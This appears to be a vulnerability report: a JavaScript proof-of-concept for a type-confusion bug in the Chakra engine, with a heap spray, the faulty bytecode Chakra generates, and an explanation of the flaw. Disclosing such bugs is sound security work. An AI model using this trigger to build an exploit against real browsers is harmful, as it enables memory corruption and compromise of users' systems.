// PoC:
async function trigger(a = class b {
[await 1]() {
}
}) {
}
let spray = [];
for (let i = 0; i < 100000; i++) {
spray.push(parseFloat.bind(1, 0x1234, 0x1234, 0x1234, 0x1234));
}
trigger();
/*
The PoC is invalid JavaScript, but Chakra does parse it without any exception and generates incorrect bytecode from that.
Here's the generated bytecode.
Function trigger ( (#1.1), #2) (In0, In1) (size: 36 [34])
18 locals (8 temps from R10), 5 inline cache
Constant Table:
======== =====
R1 LdRoot
R2 LdC_A_I4 int:1
R3 Ld_A (undefined)
R4 LdFalse
Implicit Arg Ins:
======== === ===
R5 ArgIn_A In1
0000 InitUndecl R6
0002 TryCatch x:004c ( 71)
Line 1: a = class b {
Col 24: ^
0005 BrSrNeq_A x:0048 ( 62) R5 R3
000a NewScFunc R13 = b()
000d InitClass R13
0012 ProfiledLdFld R14 = R13.prototype #0 <0>
0016 SetHomeObj R13 R14
001b NewScObjectSimple R9
001d ProfiledStFld R9.value = R2 #1 <1>
0021 ProfiledStFld R9.done = R4 #2 <2>
0025 Yield R9 R9 <<-----------------------------------------------
0028 ResumeYield R15 R9
002b NewScFunc R16 = b.prototype[]()
002e SetComputedNameVar R16 R15
0033 ProfiledLdFld R14 = R13.prototype #0 <0>
0037 InitClassMemberComputedName R14[R15] = R16
003d SetHomeObj R16 R14
0042 InitConst R6 R13
0045 Ld_A R5 R13
0048 Leave
0049 Br x:0074 ( 40)
004c Catch R10
004e Nop
004f ProfiledLdRootFld R11 = root.Promise #4 <4>
0055 ProfiledLdMethodFld R12 = R11.reject #3 <3>
0059 StartCall ArgCount: 2
005c ArgOut_A Out0 = R11
005f ArgOut_A Out1 = R10
0062 ProfiledCallIWithICIndex R12 = R12(ArgCount: 2) <3> <0>
006c Ld_A R0 R12
006f Leave
0070 Br x:0076 ( 3)
0073 Leave
0074 LdUndef R0
Line 5: }
Col 1: ^
0076 Ret
Yield operations shoud not be performed under a try-catch block, but incorrectly generated bytecode allowed it at (a). This will lead to type confusion in the InterpreterStackFrame::OP_ResumeYield method.
*/